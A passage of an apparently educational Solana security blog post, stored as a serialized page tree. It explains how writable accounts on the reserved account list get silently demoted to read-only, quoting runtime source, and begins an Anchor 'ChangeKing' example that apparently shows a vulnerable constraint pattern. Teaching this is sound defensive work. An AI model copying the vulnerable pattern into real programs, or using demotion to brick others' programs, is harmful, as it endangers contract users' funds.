dren":75199},{"style":261},[75200],{"type":31,"value":80},{"type":25,"tag":201,"props":75202,"children":75203},{"style":220},[75204],{"type":31,"value":75205},"executable\n",{"type":25,"tag":201,"props":75207,"children":75208},{"class":203,"line":311},[75209],{"type":25,"tag":201,"props":75210,"children":75211},{"style":220},[75212],{"type":31,"value":1187},{"type":25,"tag":201,"props":75214,"children":75215},{"class":203,"line":330},[75216,75220,75224,75228,75232,75236,75240,75244,75248],{"type":25,"tag":201,"props":75217,"children":75218},{"style":208},[75219],{"type":31,"value":13289},{"type":25,"tag":201,"props":75221,"children":75222},{"style":246},[75223],{"type":31,"value":73973},{"type":25,"tag":201,"props":75225,"children":75226},{"style":261},[75227],{"type":31,"value":413},{"type":25,"tag":201,"props":75229,"children":75230},{"style":4925},[75231],{"type":31,"value":44544},{"type":25,"tag":201,"props":75233,"children":75234},{"style":261},[75235],{"type":31,"value":4988},{"type":25,"tag":201,"props":75237,"children":75238},{"style":214},[75239],{"type":31,"value":17847},{"type":25,"tag":201,"props":75241,"children":75242},{"style":220},[75243],{"type":31,"value":15381},{"type":25,"tag":201,"props":75245,"children":75246},{"style":261},[75247],{"type":31,"value":4661},{"type":25,"tag":201,"props":75249,"children":75250},{"style":220},[75251],{"type":31,"value":461},{"type":25,"tag":201,"props":75253,"children":75254},{"class":203,"line":397},[75255,75259,75264,75268,75272,75276,75280,75284,75288,75292],{"type":25,"tag":201,"props":75256,"children":75257},{"style":208},[75258],{"type":31,"value":13289},{"type":25,"tag":201,"props":75260,"children":75261},{"style":246},[75262],{"type":31,"value":75263}," balance_after",{"type":25,"tag":201,"props":75265,"children":75266},{"style":261},[75267],{"type":31,"value":413},{"type":25,"tag":201,"props":75269,"children":75270},{"style":246},[75271],{"type":31,"value":6991},{"type":25,"tag":201,"props":75273,"children":75274},{"style":261},[75275],{"type":31,"value":80},{"type":25,"tag":201,"props":75277,"children":75278},{"style":214},[75279],{"type":31,"value":17008},{"type":25,"tag":201,"props":75281,"children":75282},{"style":220},[75283],{"type":31,"value":15545},{"type":25,"tag":201,"props":75285,"children":75286},{"style":261},[75287],{"type":31,"value":5886},{"type":25,"tag":201,"props":75289,"children":75290},{"style":246},[75291],{"type":31,"value":74284},{"type":25,"tag":201,"props":75293,"children":75294},{"style":220},[75295],{"type":31,"value":461},{"type":25,"tag":201,"props":75297,"children":75298},{"class":203,"line":437},[75299,75303,75307,75311,75315],{"type":25,"tag":201,"props":75300,"children":75301},{"style":4925},[75302],{"type":31,"value":21986},{"type":25,"tag":201,"props":75304,"children":75305},{"style":220},[75306],{"type":31,"value":298},{"type":25,"tag":201,"props":75308,"children":75309},{"style":246},[75310],{"type":31,"value":14455},{"type":25,"tag":201,"props":75312,"children":75313},{"style":261},[75314],{"type":31,"value":80},{"type":25,"tag":201,"props":75316,"children":75317},{"style":220},[75318],{"type":31,"value":75319},"is_writable\n",{"type":25,"tag":201,"props":75321,"children":75322},{"class":203,"line":464},[75323,75327,75331,75335,75340,75344,75349,75353,75357,75361,75365],{"type":25,"tag":201,"props":75324,"children":75325},{"style":261},[75326],{"type":31,"value":17117},{"type":25,"tag":201,"props":75328,"children":75329},{"style":246},[75330],{"type":31,"value":73973},{"type":25,"tag":201,"props":75332,"children":75333},{"style":261},[75334],{"type":31,"value":80},{"type":25,"tag":201,"props":75336,"children":75337},{"style":214},[75338],{"type":31,"value":75339},"is_exempt",{"type":25,"tag":201,"props":75341,"children":75342},{"style":220},[75343],{"type":31,"value":298},{"type":25,"tag":201,"props":75345,"children":75346},{"style":246},[75347],{"type":31,"value":75348},"balance_after",{"type":25,"tag":201,"props":75350,"children":75351},{"style":220},[75352],{"type":31,"value":919},{"type":25,"tag":201,"props":75354,"children":75355},{"style":246},[75356],{"type":31,"value":14455},{"type":25,"tag":201,"props":75358,"children":75359},{"style":261},[75360],{"type":31,"value":80},{"type":25,"tag":201,"props":75362,"children":75363},{"style":214},[75364],{"type":31,"value":15308},{"type":25,"tag":201,"props":75366,"children":75367},{"style":220},[75368],{"type":31,"value":17156},{"type":25,"tag":201,"props":75370,"children":75371},{"class":203,"line":490},[75372,75376,75380,75385,75389,75393],{"type":25,"tag":201,"props":75373,"children":75374},{"style":261},[75375],{"type":31,"value":17117},{"type":25,"tag":201,"props":75377,"children":75378},{"style":261},[75379],{"type":31,"value":14366},{"type":25,"tag":201,"props":75381,"children":75382},{"style":214},[75383],{"type":31,"value":75384},"is_program",{"type":25,"tag":201,"props":75386,"children":75387},{"style":220},[75388],{"type":31,"value":298},{"type":25,"tag":201,"props":75390,"children":75391},{"style":246},[75392],{"type":31,"value":14455},{"type":25,"tag":201,"props":75394,"children":75395},{"style":220},[75396],{"type":31,"value":1086},{"type":25,"tag":201,"props":75398,"children":75399},{"class":203,"line":499},[75400],{"type":25,"tag":201,"props":75401,"children":75402},{"style":220},[75403],{"type":31,"value":1187},{"type":25,"tag":34,"props":75405,"children":75406},{},[75407],{"type":31,"value":75408},"Now we’re safe...right?",{"type":25,"tag":40,"props":75410,"children":75412},{"id":75411},"bug-3-the-write-demotion-trap",[75413],{"type":31,"value":75414},"Bug 3: The Write-Demotion Trap",{"type":25,"tag":34,"props":75416,"children":75417},{},[75418,75420,75425,75427,75432],{"type":31,"value":75419},"On Solana, accounts passed as ",{"type":25,"tag":1252,"props":75421,"children":75422},{},[75423],{"type":31,"value":75424},"writable",{"type":31,"value":75426}," in a transaction can be ",{"type":25,"tag":1252,"props":75428,"children":75429},{},[75430],{"type":31,"value":75431},"silently downgraded to read-only",{"type":31,"value":75433},". This behavior occurs during message sanitization — even before your program runs.",{"type":25,"tag":34,"props":75435,"children":75436},{},[75437,75439,75446],{"type":31,"value":75438},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":25,"tag":71,"props":75440,"children":75443},{"href":75441,"rel":75442},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[75],[75444],{"type":31,"value":75445},"MessageV0",{"type":31,"value":75447},", but legacy is simpler to follow):",{"type":25,"tag":191,"props":75449,"children":75451},{"className":4487,"code":75450,"language":4486,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[75452],{"type":25,"tag":115,"props":75453,"children":75454},{"__ignoreMap":7},[75455,75463,75487,75575,75596,75608,75624,75640,75688,75717,75771,75807,75815,75852,75864,75902,75914,75921,75928,75935,75942,75950,76010,76063],{"type":25,"tag":201,"props":75456,"children":75457},{"class":203,"line":204},[75458],{"type":25,"tag":201,"props":75459,"children":75460},{"style":4497},[75461],{"type":31,"value":75462},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":25,"tag":201,"props":75464,"children":75465},{"class":203,"line":226},[75466,75470,75475,75479,75483],{"type":25,"tag":201,"props":75467,"children":75468},{"style":208},[75469],{"type":31,"value":29679},{"type":25,"tag":201,"props":75471,"children":75472},{"style":4925},[75473],{"type":31,"value":75474}," LegacyMessage",{"type":25,"tag":201,"props":75476,"children":75477},{"style":220},[75478],{"type":31,"value":24418},{"type":25,"tag":201,"props":75480,"children":75481},{"style":4925},[75482],{"type":31,"value":4589},{"type":25,"tag":201,"props":75484,"children":75485},{"style":220},[75486],{"type":31,"value":8790},{"type":25,"tag":201,"props":75488,"children":75489},{"class":203,"line":278},[75490,75494,75498,75502,75506,75510,75514,75519,75523,75528,75532,75537,75541,75545,75550,75554,75558,75562,75566,75571],{"type":25,"tag":201,"props":75491,"children":75492},{"style":208},[75493],{"type":31,"value":22338},{"type":25,"tag":201,"props":75495,"children":75496},{"style":208},[75497],{"type":31,"value":15197},{"type":25,"tag":201,"props":75499,"children":75500},{"style":214},[75501],{"type":31,"value":828},{"type":25,"tag":201,"props":75503,"children":75504},{"style":220},[75505],{"type":31,"value":298},{"type":25,"tag":201,"props":75507,"children":75508},{"style":246},[75509],{"type":31,"value":69118},{"type":25,"tag":201,"props":75511,"children":75512},{"style":261},[75513],{"type":31,"value":5997},{"type":25,"tag":201,"props":75515,"children":75516},{"style":220},[75517],{"type":31,"value":75518}," legacy",{"type":25,"tag":201,"props":75520,"children":75521},{"style":261},[75522],{"type":31,"value":4988},{"type":25,"tag":201,"props":75524,"children":75525},{"style":4925},[75526],{"type":31,"value":75527},"Message",{"type":25,"tag":201,"props":75529,"children":75530},{"style":220},[75531],{"type":31,"value":919},{"type":25,"tag":201,"props":75533,"children":75534},{"style":246},[75535],{"type":31,"value":75536},"reserved_account_keys",{"type":25,"tag":201,"props":75538,"children":75539},{"style":261},[75540],{"type":31,"value":5997},{"type":25,"tag":201,"props":75542,"children":75543},{"style":261},[75544],{"type":31,"value":8650},{"type":25,"tag":201,"props":75546,"children":75547},{"style":4925},[75548],{"type":31,"value":75549},"HashSet",{"type":25,"tag":201,"props":75551,"children":75552},{"style":220},[75553],{"type":31,"value":1298},{"type":25,"tag":201,"props":75555,"children":75556},{"style":4925},[75557],{"type":31,"value":22893},{"type":25,"tag":201,"props":75559,"children":75560},{"style":220},[75561],{"type":31,"value":21943},{"type":25,"tag":201,"props":75563,"children":75564},{"style":261},[75565],{"type":31,"value":15259},{"type":25,"tag":201,"props":75567,"children":75568},{"style":208},[75569],{"type":31,"value":75570}," Self",{"type":25,"tag":201,"props":75572,"children":75573},{"style":220},[75574],{"type":31,"value":327},{"type":25,"tag":201,"props":75576,"children":75577},{"class":203,"line":311},[75578,75582,75587,75591],{"type":25,"tag":201,"props":75579,"children":75580},{"style":208},[75581],{"type":31,"value":1897},{"type":25,"tag":201,"props":75583,"children":75584},{"style":246},[75585],{"type":31,"value":75586}," is_writable_account_cache",{"type":25,"tag":201,"props":75588,"children":75589},{"style":261},[75590],{"type":31,"value":413},{"type":25,"tag":201,"props":75592,"children":75593},{"style":246},[75594],{"type":31,"value":75595}," message\n",{"type":25,"tag":201,"props":75597,"children":75598},{"class":203,"line":330},[75599,75603],{"type":25,"tag":201,"props":75600,"children":75601},{"style":261},[75602],{"type":31,"value":4674},{"type":25,"tag":201,"props":75604,"children":75605},{"style":220},[75606],{"type":31,"value":75607},"account_keys\n",{"type":25,"tag":201,"props":75609,"children":75610},{"class":203,"line":397},[75611,75615,75620],{"type":25,"tag":201,"props":75612,"children":75613},{"style":261},[75614],{"type":31,"value":4674},{"type":25,"tag":201,"props":75616,"children":75617},{"style":214},[75618],{"type":31,"value":75619},"iter",{"type":25,"tag":201,"props":75621,"children":75622},{"style":220},[75623],{"type":31,"value":1882},{"type":25,"tag":201,"props":75625,"children":75626},{"class":203,"line":437},[75627,75631,75636],{"type":25,"tag":201,"props":75628,"children":75629},{"style":261},[75630],{"type":31,"value":4674},{"type":25,"tag":201,"props":75632,"children":75633},{"style":214},[75634],{"type":31,"value":75635},"enumerate",{"type":25,"tag":201,"props":75637,"children":75638},{"style":220},[75639],{"type":31,"value":1882},{"type":25,"tag":201,"props":75641,"children":75642},{"class":203,"line":464},[75643,75647,75651,75655,75659,75663,75667,75671,75676,75680,75684],{"type":25,"tag":201,"props":75644,"children":75645},{"style":261},[75646],{"type":31,"value":4674},{"type":25,"tag":201,"props":75648,"children":75649},{"style":214},[75650],{"type":31,"value":68183},{"type":25,"tag":201,"props":75652,"children":75653},{"style":220},[75654],{"type":31,"value":298},{"type":25,"tag":201,"props":75656,"children":75657},{"style":261},[75658],{"type":31,"value":11918},{"type":25,"tag":201,"props":75660,"children":75661},{"style":220},[75662],{"type":31,"value":298},{"type":25,"tag":201,"props":75664,"children":75665},{"style":246},[75666],{"type":31,"value":3641},{"type":25,"tag":201,"props":75668,"children":75669},{"style":220},[75670],{"type":31,"value":919},{"type":25,"tag":201,"props":75672,"children":75673},{"style":246},[75674],{"type":31,"value":75675},"_key",{"type":25,"tag":201,"props":75677,"children":75678},{"style":220},[75679],{"type":31,"value":3073},{"type":25,"tag":201,"props":75681,"children":75682},{"style":261},[75683],{"type":31,"value":11918},{"type":25,"tag":201,"props":75685,"children":75686},{"style":220},[75687],{"type":31,"value":327},{"type":25,"tag":201,"props":75689,"children":75690},{"class":203,"line":490},[75691,75696,75700,75705,75709,75713],{"type":25,"tag":201,"props":75692,"children":75693},{"style":246},[75694],{"type":31,"value":75695},"                message",{"type":25,"tag":201,"props":75697,"children":75698},{"style":261},[75699],{"type":31,"value":80},{"type":25,"tag":201,"props":75701,"children":75702},{"style":214},[75703],{"type":31,"value":75704},"is_writable_index",{"type":25,"tag":201,"props":75706,"children":75707},{"style":220},[75708],{"type":31,"value":298},{"type":25,"tag":201,"props":75710,"children":75711},{"style":246},[75712],{"type":31,"value":3641},{"type":25,"tag":201,"props":75714,"children":75715},{"style":220},[75716],{"type":31,"value":4666},{"type":25,"tag":201,"props":75718,"children":75719},{"class":203,"line":499},[75720,75725,75729,75733,75737,75742,75746,75750,75754,75758,75763,75767],{"type":25,"tag":201,"props":75721,"children":75722},{"style":261},[75723],{"type":31,"value":75724},"                    &&",{"type":25,"tag":201,"props":75726,"children":75727},{"style":261},[75728],{"type":31,"value":14366},{"type":25,"tag":201,"props":75730,"children":75731},{"style":246},[75732],{"type":31,"value":75536},{"type":25,"tag":201,"props":75734,"children":75735},{"style":261},[75736],{"type":31,"value":80},{"type":25,"tag":201,"props":75738,"children":75739},{"style":214},[75740],{"type":31,"value":75741},"contains",{"type":25,"tag":201,"props":75743,"children":75744},{"style":220},[75745],{"type":31,"value":298},{"type":25,"tag":201,"props":75747,"children":75748},{"style":261},[75749],{"type":31,"value":4615},{"type":25,"tag":201,"props":75751,"children":75752},{"style":246},[75753],{"type":31,"value":69118},{"type":25,"tag":201,"props":75755,"children":75756},{"style":261},[75757],{"type":31,"value":80},{"type":25,"tag":201,"props":75759,"children":75760},{"style":220},[75761],{"type":31,"value":75762},"account_keys[",{"type":25,"tag":201,"props":75764,"children":75765},{"style":246},[75766],{"type":31,"value":3641},{"type":25,"tag":201,"props":75768,"children":75769},{"style":220},[75770],{"type":31,"value":56519},{"type":25,"tag":201,"props":75772,"children":75773},{"class":203,"line":522},[75774,75778,75782,75786,75790,75795,75799,75803],{"type":25,"tag":201,"props":75775,"children":75776},{"style":261},[75777],{"type":31,"value":75724},{"type":25,"tag":201,"props":75779,"children":75780},{"style":261},[75781],{"type":31,"value":14366},{"type":25,"tag":201,"props":75783,"children":75784},{"style":246},[75785],{"type":31,"value":69118},{"type":25,"tag":201,"props":75787,"children":75788},{"style":261},[75789],{"type":31,"value":80},{"type":25,"tag":201,"props":75791,"children":75792},{"style":214},[75793],{"type":31,"value":75794},"demote_program_id",{"type":25,"tag":201,"props":75796,"children":75797},{"style":220},[75798],{"type":31,"value":298},{"type":25,"tag":201,"props":75800,"children":75801},{"style":246},[75802],{"type":31,"value":3641},{"type":25,"tag":201,"props":75804,"children":75805},{"style":220},[75806],{"type":31,"value":4666},{"type":25,"tag":201,"props":75808,"children":75809},{"class":203,"line":531},[75810],{"type":25,"tag":201,"props":75811,"children":75812},{"style":220},[75813],{"type":31,"value":75814},"            })\n",{"type":25,"tag":201,"props":75816,"children":75817},{"class":203,"line":550},[75818,75822,75827,75831,75835,75839,75843,75847],{"type":25,"tag":201,"props":75819,"children":75820},{"style":261},[75821],{"type":31,"value":4674},{"type":25,"tag":201,"props":75823,"children":75824},{"style":214},[75825],{"type":31,"value":75826},"collect",{"type":25,"tag":201,"props":75828,"children":75829},{"style":261},[75830],{"type":31,"value":4988},{"type":25,"tag":201,"props":75832,"children":75833},{"style":220},[75834],{"type":31,"value":1298},{"type":25,"tag":201,"props":75836,"children":75837},{"style":4925},[75838],{"type":31,"value":18707},{"type":25,"tag":201,"props":75840,"children":75841},{"style":220},[75842],{"type":31,"value":1298},{"type":25,"tag":201,"props":75844,"children":75845},{"style":246},[75846],{"type":31,"value":4589},{"type":25,"tag":201,"props":75848,"children":75849},{"style":220},[75850],{"type":31,"value":75851},">>();\n",{"type":25,"tag":201,"props":75853,"children":75854},{"class":203,"line":563},[75855,75860],{"type":25,"tag":201,"props":75856,"children":75857},{"style":208},[75858],{"type":31,"value":75859},"        Self",{"type":25,"tag":201,"props":75861,"children":75862},{"style":220},[75863],{"type":31,"value":327},{"type":25,"tag":201,"props":75865,"children":75866},{"class":203,"line":572},[75867,75872,75876,75881,75885,75890,75894,75898],{"type":25,"tag":201,"props":75868,"children":75869},{"style":246},[75870],{"type":31,"value":75871},"            message",{"type":25,"tag":201,"props":75873,"children":75874},{"style":261},[75875],{"type":31,"value":5997},{"type":25,"tag":201,"props":75877,"children":75878},{"style":4925},[75879],{"type":31,"value":75880}," Cow",{"type":25,"tag":201,"props":75882,"children":75883},{"style":261},[75884],{"type":31,"value":4988},{"type":25,"tag":201,"props":75886,"children":75887},{"style":214},[75888],{"type":31,"value":75889},"Owned",{"type":25,"tag":201,"props":75891,"children":75892},{"style":220},[75893],{"type":31,"value":298},{"type":25,"tag":201,"props":75895,"children":75896},{"style":246},[75897],{"type":31,"value":69118},{"type":25,"tag":201,"props":75899,"children":75900},{"style":220},[75901],{"type":31,"value":8245},{"type":25,"tag":201,"props":75903,"children":75904},{"class":203,"line":590},[75905,75910],{"type":25,"tag":201,"props":75906,"children":75907},{"style":246},[75908],{"type":31,"value":75909},"            is_writable_account_cache",{"type":25,"tag":201,"props":75911,"children":75912},{"style":220},[75913],{"type":31,"value":547},{"type":25,"tag":201,"props":75915,"children":75916},{"class":203,"line":608},[75917],{"type":25,"tag":201,"props":75918,"children":75919},{"style":220},[75920],{"type":31,"value":4853},{"type":25,"tag":201,"props":75922,"children":75923},{"class":203,"line":617},[75924],{"type":25,"tag":201,"props":75925,"children":75926},{"style":220},[75927],{"type":31,"value":4861},{"type":25,"tag":201,"props":75929,"children":75930},{"class":203,"line":625},[75931],{"type":25,"tag":201,"props":75932,"children":75933},{"style":220},[75934],{"type":31,"value":1187},{"type":25,"tag":201,"props":75936,"children":75937},{"class":203,"line":642},[75938],{"type":25,"tag":201,"props":75939,"children":75940},{"emptyLinePlaceholder":17},[75941],{"type":31,"value":496},{"type":25,"tag":201,"props":75943,"children":75944},{"class":203,"line":659},[75945],{"type":25,"tag":201,"props":75946,"children":75947},{"style":4497},[75948],{"type":31,"value":75949},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":25,"tag":201,"props":75951,"children":75952},{"class":203,"line":667},[75953,75957,75961,75966,75970,75974,75978,75982,75986,75990,75994,75998,76002,76006],{"type":25,"tag":201,"props":75954,"children":75955},{"style":208},[75956],{"type":31,"value":15192},{"type":25,"tag":201,"props":75958,"children":75959},{"style":208},[75960],{"type":31,"value":15197},{"type":25,"tag":201,"props":75962,"children":75963},{"style":214},[75964],{"type":31,"value":75965}," demote_program_id",{"type":25,"tag":201,"props":75967,"children":75968},{"style":220},[75969],{"type":31,"value":298},{"type":25,"tag":201,"props":75971,"children":75972},{"style":261},[75973],{"type":31,"value":4615},{"type":25,"tag":201,"props":75975,"children":75976},{"style":208},[75977],{"type":31,"value":15215},{"type":25,"tag":201,"props":75979,"children":75980},{"style":220},[75981],{"type":31,"value":919},{"type":25,"tag":201,"props":75983,"children":75984},{"style":246},[75985],{"type":31,"value":3641},{"type":25,"tag":201,"props":75987,"children":75988},{"style":261},[75989],{"type":31,"value":5997},{"type":25,"tag":201,"props":75991,"children":75992},{"style":4925},[75993],{"type":31,"value":15233},{"type":25,"tag":201,"props":75995,"children":75996},{"style":220},[75997],{"type":31,"value":385},{"type":25,"tag":201,"props":75999,"children":76000},{"style":261},[76001],{"type":31,"value":15259},{"type":25,"tag":201,"props":76003,"children":76004},{"style":4925},[76005],{"type":31,"value":13552},{"type":25,"tag":201,"props":76007,"children":76008},{"style":220},[76009],{"type":31,"value":327},{"type":25,"tag":201,"props":76011,"children":76012},{"class":203,"line":676},[76013,76017,76021,76026,76030,76034,76038,76042,76046,76050,76054,76059],{"type":25,"tag":201,"props":76014,"children":76015},{"style":208},[76016],{"type":31,"value":22281},{"type":25,"tag":201,"props":76018,"children":76019},{"style":261},[76020],{"type":31,"value":80},{"type":25,"tag":201,"props":76022,"children":76023},{"style":214},[76024],{"type":31,"value":76025},"is_key_called_as_program",{"type":25,"tag":201,"props":76027,"children":76028},{"style":220},[76029],{"type":31,"value":298},{"type":25,"tag":201,"props":76031,"children":76032},{"style":246},[76033],{"type":31,"value":3641},{"type":25,"tag":201,"props":76035,"children":76036},{"style":220},[76037],{"type":31,"value":385},{"type":25,"tag":201,"props":76039,"children":76040},{"style":261},[76041],{"type":31,"value":74279},{"type":25,"tag":201,"props":76043,"children":76044},{"style":261},[76045],{"type":31,"value":14366},{"type":25,"tag":201,"props":76047,"children":76048},{"style":208},[76049],{"type":31,"value":15215},{"type":25,"tag":201,"props":76051,"children":76052},{"style":261},[76053],{"type":31,"value":80},{"type":25,"tag":201,"props":76055,"children":76056},{"style":214},[76057],{"type":31,"value":76058},"is_upgradeable_loader_present",{"type":25,"tag":201,"props":76060,"children":76061},{"style":220},[76062],{"type":31,"value":1882},{"type":25,"tag":201,"props":76064,"children":76065},{"class":203,"line":694},[76066],{"type":25,"tag":201,"props":76067,"children":76068},{"style":220},[76069],{"type":31,"value":1187},{"type":25,"tag":34,"props":76071,"children":76072},{},[76073],{"type":31,"value":76074},"As you can see, there are two main causes of write-demotion:",{"type":25,"tag":6944,"props":76076,"children":76077},{},[76078,76090],{"type":25,"tag":6948,"props":76079,"children":76080},{},[76081,76083],{"type":31,"value":76082},"The account appears in the ",{"type":25,"tag":71,"props":76084,"children":76087},{"href":76085,"rel":76086},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[75],[76088],{"type":31,"value":76089},"reserved account list",{"type":25,"tag":6948,"props":76091,"children":76092},{},[76093],{"type":31,"value":76094},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":25,"tag":34,"props":76096,"children":76097},{},[76098],{"type":31,"value":76099},"The second case is generally covered by the executable check implemented previously.",{"type":25,"tag":34,"props":76101,"children":76102},{},[76103],{"type":31,"value":76104},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":25,"tag":20392,"props":76106,"children":76108},{"id":76107},"the-reserved-account-list",[76109],{"type":31,"value":76110},"The Reserved Account List",{"type":25,"tag":34,"props":76112,"children":76113},{},[76114,76116,76121],{"type":31,"value":76115},"The Solana runtime maintains a ",{"type":25,"tag":71,"props":76117,"children":76119},{"href":76085,"rel":76118},[75],[76120],{"type":31,"value":76089},{"type":31,"value":76122},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":25,"tag":34,"props":76124,"children":76125},{},[76126,76128,76135,76137,76142],{"type":31,"value":76127},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":25,"tag":71,"props":76129,"children":76132},{"href":76130,"rel":76131},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[75],[76133],{"type":31,"value":76134},"feature gate is actived",{"type":31,"value":76136},", the runtime will ",{"type":25,"tag":1252,"props":76138,"children":76139},{},[76140],{"type":31,"value":76141},"automatically demote them to read-only",{"type":31,"value":76143},", even if the transaction marked them as writable.",{"type":25,"tag":191,"props":76145,"children":76147},{"className":4487,"code":76146,"language":4486,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[76148],{"type":25,"tag":115,"props":76149,"children":76150},{"__ignoreMap":7},[76151,76159,76167,76191,76245,76283,76312],{"type":25,"tag":201,"props":76152,"children":76153},{"class":203,"line":204},[76154],{"type":25,"tag":201,"props":76155,"children":76156},{"style":4497},[76157],{"type":31,"value":76158},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":25,"tag":201,"props":76160,"children":76161},{"class":203,"line":226},[76162],{"type":25,"tag":201,"props":76163,"children":76164},{"style":4497},[76165],{"type":31,"value":76166},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":25,"tag":201,"props":76168,"children":76169},{"class":203,"line":278},[76170,76174,76178,76183,76187],{"type":25,"tag":201,"props":76171,"children":76172},{"style":208},[76173],{"type":31,"value":15215},{"type":25,"tag":201,"props":76175,"children":76176},{"style":261},[76177],{"type":31,"value":80},{"type":25,"tag":201,"props":76179,"children":76180},{"style":220},[76181],{"type":31,"value":76182},"reserved_account_keys ",{"type":25,"tag":201,"props":76184,"children":76185},{"style":261},[76186],{"type":31,"value":1383},{"type":25,"tag":201,"props":76188,"children":76189},{"style":220},[76190],{"type":31,"value":327},{"type":25,"tag":201,"props":76192,"children":76193},{"class":203,"line":311},[76194,76198,76202,76207,76211,76216,76220,76224,76228,76232,76236,76240],{"type":25,"tag":201,"props":76195,"children":76196},{"style":208},[76197],{"type":31,"value":4508},{"type":25,"tag":201,"props":76199,"children":76200},{"style":208},[76201],{"type":31,"value":4513},{"type":25,"tag":201,"props":76203,"children":76204},{"style":246},[76205],{"type":31,"value":76206}," reserved_keys",{"type":25,"tag":201,"props":76208,"children":76209},{"style":261},[76210],{"type":31,"value":413},{"type":25,"tag":201,"props":76212,"children":76213},{"style":4925},[76214],{"type":31,"value":76215}," ReservedAccountKeys",{"type":25,"tag":201,"props":76217,"children":76218},{"style":261},[76219],{"type":31,"value":4988},{"type":25,"tag":201,"props":76221,"children":76222},{"style":214},[76223],{"type":31,"value":16916},{"type":25,"tag":201,"props":76225,"children":76226},{"style":220},[76227],{"type":31,"value":298},{"type":25,"tag":201,"props":76229,"children":76230},{"style":261},[76231],{"type":31,"value":4615},{"type":25,"tag":201,"props":76233,"children":76234},{"style":208},[76235],{"type":31,"value":15215},{"type":25,"tag":201,"props":76237,"children":76238},{"style":261},[76239],{"type":31,"value":80},{"type":25,"tag":201,"props":76241,"children":76242},{"style":220},[76243],{"type":31,"value":76244},"reserved_account_keys);\n",{"type":25,"tag":201,"props":76246,"children":76247},{"class":203,"line":330},[76248,76253,76257,76262,76266,76270,76274,76278],{"type":25,"tag":201,"props":76249,"children":76250},{"style":246},[76251],{"type":31,"value":76252},"    reserved_keys",{"type":25,"tag":201,"props":76254,"children":76255},{"style":261},[76256],{"type":31,"value":80},{"type":25,"tag":201,"props":76258,"children":76259},{"style":214},[76260],{"type":31,"value":76261},"update_active_set",{"type":25,"tag":201,"props":76263,"children":76264},{"style":220},[76265],{"type":31,"value":298},{"type":25,"tag":201,"props":76267,"children":76268},{"style":261},[76269],{"type":31,"value":4615},{"type":25,"tag":201,"props":76271,"children":76272},{"style":208},[76273],{"type":31,"value":15215},{"type":25,"tag":201,"props":76275,"children":76276},{"style":261},[76277],{"type":31,"value":80},{"type":25,"tag":201,"props":76279,"children":76280},{"style":220},[76281],{"type":31,"value":76282},"feature_set);\n",{"type":25,"tag":201,"props":76284,"children":76285},{"class":203,"line":397},[76286,76291,76295,76299,76303,76308],{"type":25,"tag":201,"props":76287,"children":76288},{"style":4925},[76289],{"type":31,"value":76290},"    Arc",{"type":25,"tag":201,"props":76292,"children":76293},{"style":261},[76294],{"type":31,"value":4988},{"type":25,"tag":201,"props":76296,"children":76297},{"style":214},[76298],{"type":31,"value":1911},{"type":25,"tag":201,"props":76300,"children":76301},{"style":220},[76302],{"type":31,"value":298},{"type":25,"tag":201,"props":76304,"children":76305},{"style":246},[76306],{"type":31,"value":76307},"reserved_keys",{"type":25,"tag":201,"props":76309,"children":76310},{"style":220},[76311],{"type":31,"value":4666},{"type":25,"tag":201,"props":76313,"children":76314},{"class":203,"line":437},[76315],{"type":25,"tag":201,"props":76316,"children":76317},{"style":220},[76318],{"type":31,"value":18073},{"type":25,"tag":20392,"props":76320,"children":76322},{"id":76321},"consequences-silent-failures-and-bricked-programs",[76323],{"type":31,"value":76324},"Consequences: Silent Failures and Bricked Programs",{"type":25,"tag":34,"props":76326,"children":76327},{},[76328],{"type":31,"value":76329},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":25,"tag":191,"props":76331,"children":76333},{"className":4487,"code":76332,"language":4486,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: 